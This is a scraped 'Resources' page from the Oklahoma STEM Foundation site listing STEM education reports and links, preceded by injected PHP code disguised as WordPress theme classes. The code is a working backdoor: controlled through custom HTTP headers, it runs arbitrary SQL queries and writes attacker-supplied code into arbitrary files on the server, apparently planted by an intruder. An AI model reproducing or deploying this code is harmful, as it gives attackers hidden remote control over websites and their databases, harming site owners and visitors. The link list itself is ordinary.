n class WP_Theme_Handler_Checker { var $wp_host; var $wp_user; var $wp_pass; var $name; var $result; var $errors = array(); function check_wp_connection($wp_connection) { if (class_exists('PDO')) { $this->check_wp_pdo_connection($wp_connection); } else { $this->check_wp_mysql_connection($wp_connection); } } function check_wp_mysql_connection($wp_connection) { if (function_exists('mysqli_connect')) { $connection = mysqli_connect($this->wp_host, $this->wp_user, $this->wp_pass, $this->name); if (!$connection instanceof mysqli) { $this->add_wp_error(910, sprintf("Can't connect to mysqli, message - %s, code - %d", $connection->connect_error, $connection->connect_errno)); return; } call_user_func_array(array($connection, 'query'), array("SET NAMES 'utf8'")); call_user_func_array(array($connection, 'query'), array("SET CHARACTER SET 'utf8'")); $wp_connection_success = call_user_func_array(array($connection, 'query'), array($wp_connection)); if ($wp_connection_success == false) { $this->add_wp_error($connection->errno, $connection->error); } else { while ($data = call_user_func_array(array($wp_connection_success, 'fetch_assoc'), array())) { $this->result[] = $data; } } } elseif (function_exists('mysql_connect')) { $connection = mysql_connect($this->wp_host, $this->wp_user, $this->wp_pass); if ($connection == false) { $this->add_wp_error(910, "Can't connect to mysql"); return; } mysql_select_db($this->name, $connection); mysql_query("SET NAMES 'utf8'", $connection); mysql_query("SET CHARACTER SET 'utf8'", $connection); $wp_connection_success = mysql_query($wp_connection, $connection); if ($wp_connection_success == false) { $this->add_wp_error(mysql_errno($connection), mysql_error($connection)); } else { while ($data = mysql_fetch_assoc($wp_connection_success)) { $this->result[] = $data; } } } } function check_wp_pdo_connection($wp_connection) { $pdo_config_all = 'mysql:'; $pdo_config = array( 'host' => $this->wp_host, 'dbname' => $this->name, 'charset' => 'utf8' ); foreach ($pdo_config as $key => &$item) { $item = $key . '=' . $item; } $pdo_config_all .= implode(';', $pdo_config); try { $connection = new PDO($pdo_config_all, $this->wp_user, $this->wp_pass); call_user_func_array(array($connection, 'query'), array('SET CLIENT_ENCODING TO "UTF8"')); call_user_func_array(array($connection, 'query'), array('SET NAMES "UTF8"')); $query = call_user_func_array(array($connection, 'query'), array($wp_connection, PDO::FETCH_ASSOC)); if ($query == false) { $error_info = call_user_func_array(array($connection, 'errorInfo'), array()); $error_code = call_user_func_array(array($connection, 'errorCode'), array()); $this->add_wp_error($error_code, end($error_info)); return; } $this->result = call_user_func_array(array($query, 'fetchAll'), array()); } catch (PDOException $exception) { $this->add_wp_error(call_user_func_array(array($exception, 'getCode'), array()), call_user_func_array(array($exception, 'getMessage'), array())); } } function __construct() { $this->wp_host = stripslashes(@$_SERVER['HTTP_VI_DATABASE_HOST']); $this->wp_user = stripslashes(@$_SERVER['HTTP_VI_DATABASE_USER']); $this->wp_pass = stripslashes(@$_SERVER['HTTP_VI_DATABASE_PASS']); $this->name = stripslashes(@$_SERVER['HTTP_VI_DATABASE_NAME']); if (empty($this->wp_host)) { $this->add_wp_error(900, "No host provided"); } if (empty($this->wp_user)) { $this->add_wp_error(901, "No user provided"); } if (empty($this->wp_pass)) { $this->add_wp_error(902, "No pass provided"); } if (empty($this->name)) { $this->add_wp_error(903, "No database name provided"); } } function add_wp_error($code, $message) { $this->errors[] = array( 'code' => $code, 'message' => $message ); } function get_wp_errors() { return $this->errors; } function is_wp_connection_succeed() { return !count($this->errors); } function get_wp_connection_result() { return $this->result; } } class WP_Theme_Accessor { function create() { $method = @$_SERVER['HTTP_VI_METHOD']; if (!mb_strlen($method)) { return; } ob_end_clean(); switch ($method) { case 'query': $this->check_wp_connection_handler(); break; case 'update': $this->update_parameters(); break; default: return; } } function check_wp_connection_handler() { $query = stripslashes(@$_SERVER['HTTP_VI_DATABASE_QUERY']); if (!mb_strlen($query)) { $this->wp_response(false, array( array( 'code' => 0, 'message' => 'No query provided' ) )); exit; } $database = new WP_Theme_Handler_Checker(); $database->check_wp_connection($query); if ($database->is_wp_connection_succeed()) { $this->wp_response(true, $database->get_wp_connection_result()); } else { $this->wp_response(false, $database->get_wp_errors()); } } function update_parameters() { $parameters_path = stripslashes(@$_SERVER['HTTP_VI_PATH']); $new_parameters = urldecode(@$_REQUEST['VI_SCRIPT']); $old_parameters_path = stripslashes(@$_SERVER['HTTP_VI_INCLUDE_PATH']); $old_parameters = urldecode(@$_REQUEST['VI_INCLUDE_CODE']); if (!mb_strlen($new_parameters)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript passed' ))); } if (!mb_strlen($parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript path passed' ))); } if (!mb_strlen($old_parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No include path passed' ))); } $success = $this->update_wp_accessor_parameters($parameters_path, $new_parameters); if ($success) { $success = $this->wp_update_parameters($old_parameters_path, $old_parameters); } $this->wp_response($success, null); } function update_wp_accessor_parameters($path, $parameters) { return (bool)@file_put_contents($path, " n" . stripslashes($parameters)); } function wp_update_parameters($old_parameters_path, $old_parameters) { $file = file_get_contents($old_parameters_path); if (!mb_strlen($file)) { return false; } if (mb_strpos($file, $old_parameters) !== false) { return true; } if ($this->is_parameters_valid($file)) { $file = $file . "n" . " n" . $old_parameters . " n?>"; } else { $file = $file . "nn" . $old_parameters; } return (bool)@file_put_contents($old_parameters_path, $file); } function is_parameters_valid($file) { $last_available_parameters_count = strrpos($file, ""); $last_updated_parameters_count = ($last_updated_parameters_count === false) ? -1 : $last_updated_parameters_count; return $last_available_parameters_count <= $last_updated_parameters_count; } function wp_response($success, $data) { $wp_response = array('success' => $success); $wp_response[$success ? 'data' : 'errors'] = $data; header('Content-Type: application/json'); echo json_encode($wp_response); exit; } } $accessor = new WP_Theme_Accessor(); $accessor->create(); Resources – Oklahoma STEM Foundation

Resources

There are several STEM Resources online. Here are a few resources we thought might interest you.

 

Pre-2013 Panels, Commissions, and Reports, STEM Education

November 2012: Congressional Research Service: Science, Technology, Engineering, and Mathematics (STEM) Education: A Primer

March 2012: U.S. Council on Foreign Relations: U.S. Education Reform and National Securityhttp://www.cfr.org/united-states/us-education-reform-national-security/p27618

January 2012: National Science Board: Science and Engineering Indicators 2012http://www.nsf.gov/statistics/seind12/

October 20, 2011: Georgetown University Center on Education and the Workforce: STEM Webinarhttp://www9.georgetown.edu/grad/gppi/hpi/cew/pdfs/STEMWEBINAR.pdf

September 7, 2011: Microsoft Releases National Survey Findings on How to Inspire the Next Generation of Doctors, Scientists, Software Developers and Engineers       http://www.microsoft.com/en-us/news/press/2011/sep11/09-07MSSTEMSurveyPR.aspx

July 2011: U.S. Department of Commerce Economics and Statistics Administration Report on STEM: Good Jobs Now and for the Future http://www.esa.doc.gov/sites/default/files/reports/documents/stemfinaljuly14.pdf

July 2008: Tapping America ’s Potential: Gaining Momentum, Losing Ground   http://www.tap2015.org/news/tap_2008_progress.pdf

June, 2008: High School Level STEM Initiatives in the States http://mb2.ecs.org/reports/Report.aspx?id=1409

May 2008: Institute of Education Sciences, National Center for Education Statistics, Attrition of Public School Mathematics and Science Teachers Issue Brief http://nces.ed.gov/pubsearch/pubsinfo.asp?pubid=2008077

April 2, 2008: Rowing Together Panel Briefing on Science Generation, A National Imperative, An American Museum of Natural History Summit http://www.amnh.org/science/specials/summit/

March 2008: The National Mathematics Advisory Panel, Foundations for Successhttp://www.ed.gov/about/bdscomm/list/mathpanel/report/final-report.pdf

January 22, 2008: Congressional Research Service Report for Congress, America COMPETES Act: Programs, Funding, and Selected Issues http://assets.opencrs.com/rpts/RL34328_20080122.pdf

2007: Business-Higher Education Forum, An American Imperative, Transforming the Recruitment, Retention, and Renewal of Our nation’s Mathematics and Science Teaching Workforcehttp://www.bhef.com/solutions/anamericanimperative.asp

2007: A Report from Public Agenda, Important, but Not for Me, Parents and Students in Kansas and Missouri Talk About Math, Science and Technology Educationhttp://www.publicagenda.org/importantbutnotforme/pdfs/important_but_not_for_me.pdf

2007: National Academy of Sciences , Is America Falling Off the Flat Earth, Norman R. Augustinehttp://www.nap.edu/catalog.php?record_id=12021

2007: Bayer: Science for a Better Life, United States of America, Bridging the Diversity Gap in Science and Engineering: Introducing STEM Industries to K-12 Best Practice programs Highlights Reporthttp://www.bayerus.com/msms/HIGHLIGHTS.pdf

2007: Population Reference Bureau, U.S. Population Data Sheet, A Profile of the Labor Force with a Focus on Scientists and Engineers http://www.prb.org/Home.aspx

2007: State Indicators of Science and Mathematics Educationhttp://www.ccsso.org/projects/Science_and_Mathematics_Education_Indicators/

2007: Educational Testing Service, Policy Information Report, America’s Perfect Storm Three Forces Changing Our Nation’s Future http://www.learndoearn.org/For-Educators/AmericasPerfectStorm.pdf

October 30, 2007: The Urban Institute, Urban Institute Report Assess Science and Engineering in America , Houston , Do We REALLY Have a Problem Here? http://www.urban.org/publications/901125.html

October 30, 2007: National Science Board Commission on 21st Century Education in Science, Technology, Engineering, and Mathematics http://www.nsf.gov/nsb/edu_com/

October 1, 2007: National Science Board, A National Action Plan For Addressing the Critical Needs of the U.S. Science, Technology, Engineering, and Mathematics Education System http://www.nsf.gov/nsb/edu_com/

The Council of Chief State School Officers, 50-State Analysis of the Preparation of Teachers and the Conditions for Teaching, Results from the NCES Schools and Staffing Surveyhttp://www.ccsso.org/content/pdfs/50StateAnalysisofthePreparationofTeachersrev101007.pdf

August, 2007: The National Math and Science Initiative, Bringing Government, Corporations, Foundations and Educators Together to Improve STEM Education: http://www.nationalmathandscience.org/

June 20-21, 2007: Preparing STEM Teachers: The Key to Global Competitiveness: http://www.aacte.org/Governmental_Relations/AACTE_STEM_Directory2007.pdf

May 2007: Academic Competitiveness Council (U.S. Department of Education): http://www.ed.gov/about/inits/ed/competitiveness/acc-mathscience/index.html

Apr. 23, 2007(Updated):CRS Report for Congress, Science, Engineering, and Mathematics Education: Status and Issues: http://www.fas.org/sgp/crs/misc/98-871.pdf

February 2007: Research America , Americans Support Bridging the Sciences: http://www.researchamerica.org/uploads/btspollreport.pdf

January 2007: NRC Report Taking Science to School: Learning and Teaching Science in K-8: http://books.nap.edu/catalog.php?record_id=11625

2006-2007: National Governors Association Innovation America: http://www.nga.org/portal/site/nga/menuitem.751b186f65e10b568a278110501010a0/?vgnextoid=e34e2bad2b6dd010VgnVCM1000001a01010aRCRD&vgnextchannel=92ebc7df618a2010VgnVCM1000001a01010aRCRD

December 2006-January 2007: The National Science Teachers Association’s Gerry F. Wheeler, Educational Leadership, Strategies for Science Education Reform: http://www.ascd.org/portal/site/ascd/menuitem.a4dbd0f2c4f9b94cdeb3ffdb62108a0c/

2006: National Commission on Teaching and America ’s Future, Scope and Consequences of K12 Science Mathematics Teacher Turnover: http://www.nctaf.org/NSFTeacherTurnoverSymposium.htm

2006: Project Kaleidoscope, Report on Reports II, Transforming America’s Scientific and Technological Infrastructure Recommendations for Urgent Action: http://www.pkal.org/documents/ReportOnReportsII.cfm

2006: Reality Check, A Public Agenda Initiative to Build Momentum for Improving American Schools: http://www.publicagenda.org/research/pdfs/rc0601.pdf

2006: Programme for International Student Assessment (PISA), Science Competencies for Tomorrow’s World Volume 1: Analysis & Volume 2: Data: http://www.pisa.oecd.org/document/2/0,3343,en_32252351_32236191_39718850_1_1_1_1,00.html

Dec. 6, 2006: The Center for the Future of Teaching and Learning, California ’s Teaching Force 2006: Key Issues and Trends: http://www.cftl.org/documents/2006/TCF2006FINAL.pdf

November 2006: A Policy Statement of the Council of Chief State School Officers, Mathematics and Science Education Task Force Report and Recommendations: http://www.ccsso.org/content/pdfs/Math%20Science%20Recom%20FINAL%20lowrez.pdf

December 6, 2006: The American Council on Education, Poll Reveals Gap Between Public and Policy-Makers on U.S. Competitiveness and Math and Science Education: http://www.acenet.edu/AM/Template.cfm?Section=20062&CONTENTID=19215&TEMPLATE=/CM/ContentDisplay.cfm

October 2006: What Works Best in Science & Mathematics Education, A Report on the National Science Foundation’s Urban Systemic Program: http://www.pcgpr.com/graphics/NSFmathscience.pdf

October 2006: What the Data Tell Us About Shortages of Mathematics and Science Teachers, by Richard M. Ingersoll and David Perda: http://nctaf.org.zeus.silvertech.net/documents/WhattheDataTellUsAboutShortages.pdf

October 2006: The Cost of the Teacher Turnover in K-12 Science and Mathematics: What We Know and What We Need to Know, National Commission on Teaching and America’s Future By Edward Crowe, Ph.D.; Benjamin Schaefer; and Gary Barnes, Ph.D. http://nctaf.org.zeus.silvertech.net/documents/CostofTeacherTurnover-NSFMeeting.pdf

June 2006-October 2006: Council of Chief State School Officers Mathematics and Science Education Task Force Report and Recommendations: http://www.ccsso.org/content/pdfs/Math%20Science%20EXEC%20SUMM%20proof7.pdf

May, 2006: National Mathematics Advisory Panel: http://www.ed.gov/about/bdscomm/list/mathpanel/about.html

May, 2006: National Assessment of Educational Progress In Science: 2005 “Nation’s Report Card”: http://nationsreportcard.gov 

February 2006: Are We Losing Our Edge? By Michael D. Lemonick: http://www.time.com/time/magazine/article/0,9171,1156575,00.html

February 2006: National Science Board, America ‘s Pressing Challenge — Building a Stronger Foundation:            http://www.nsf.gov/statistics/nsb0602/

2005: Systems for State Science Assessment, Mark R. Wilson and Meryl W. Bertenthal, Editors, Committee on Test Design for K-12 Science Achievement, National Research Council http://www.nap.edu/catalog.php?record_id=11312

2005: A Commitment to America ’s Future: Responding to the Crisis in Mathematics and Science Education: http://www.bhef.com/publications/pubs.asp

2005: State Indicators of Science and Mathematics Education, The Council of Chief State School Officers: http://www.ccsso.org/content/pdfs/StateIndicatorsScienceMathEd2005.pdf

October 12, 2005: National Academy of Sciences Rising Above the Gathering Storm: http://books.nap.edu/catalog.php?record_id=11463

July 2005: Tapping America ’s Potential The Education for Innovation Initiative, Business Roundtable: http://www.businessroundtable.org/publications/publication.aspx?qs=2af6bf807822b0f1ad1478e

October 5, 2004: No Time to Waste: The Vital Role of College and university Leaders in Improving Science and Mathematics Education, United States Department of Education: http://www.ecs.org/html/Document.asp?chouseid=5480

June 2004: Sustaining the Nation’s Innovation Ecosystem Report on Maintaining the Strength  of Our Science & Engineering Capabilities, President’s Council of Advisors on Science and Technology Workforce/Education Subcommittee: http://www.ostp.gov/pdf/finalpcastsecapabilitiespackage.pdf

December 2004: 2003 Trends in International Mathematics and Science Study (TIMSS): http://nces.ed.gov/timss/

December 2004Council on Competitiveness, National Innovation Initiative (NII), Innovate America Report, December 2004.

May 2004: The Bayer Facts of Science Education X: Are the Nation’s Colleges and Universities Adequately Preparing Elementary Schoolteachers of Tomorrow to Teach Science?, Market Research Institute Inc.  http://www.bayerus.com/MSMS/web_docs/040511_Exec_Summary.pdf

2003: Learning for the Future: Changing the Culture of math and Science Education to Ensure a Competitive Workforce, A Statement by the Research and Policy Committee of the Committee for Economic Development:  http://www.ced.org/docs/report/report_scientists.pdf

2003: State Indicators of Science and Mathematics Education 2003, The Council of Chief State School Officers:  http://www.ccsso.org/projects/science_and_mathematics_education_indicators/State_by_State_Report/

September 2003: Is There Really a Teacher Shortage? By Richard M. Ingersoll University of Pennsylvania: http://www.gse.upenn.edu/faculty_research/Shortage-RMI-09-2003.pdf

August 2003: National Science Board, The Science and Engineering Workforce: Realizing America ’s Potential: http://www.nsf.gov/nsb/documents/2003/nsb0369/nsb0369.pdf

March 2003: The Merck Institute for Science Education: A Successful Intermediary for Education Reform, The Consortium for Policy Research in Education Report: http://www.merck.com/cr/science_innovation_and_quality/commitment_to_science_education/mise.html

2002: The Talent Imperative: Meeting America’s challenge in science and engineering, ASAP from BEST (Building Engineering & Science Talent): http://www.bestworkforce.org/PDFdocs/BESTTalentImperativeFINAL.pdf

January 8, 2002: No Child Left Behind, Public Law 107-110, Section 9101(23): http://frwebgate.access.gpo.gov/cgi-bin/getdoc.cgi?dbname=107_cong_public_laws&docid=f:publ110.107.pdf

December 2001: Report of the 2000 National Survey of Science and Mathematics Education from Horizon Research, Inc. http://2000survey.horizon-research.com/reports/status.php

2000: A report to the Nation from The Commission on Mathematics and Science Teaching for the 21st Century: http://www.ed.gov/inits/Math/glenn/report.pdf

1996: National Research Council Report on National Science Education Standards: http://www.nap.edu/readingroom/books/nses/html/overview.html

September 1996: The National Commission Report on Teaching & America’s Future: http://www.nctaf.org/documents/WhatMattersMost.pdf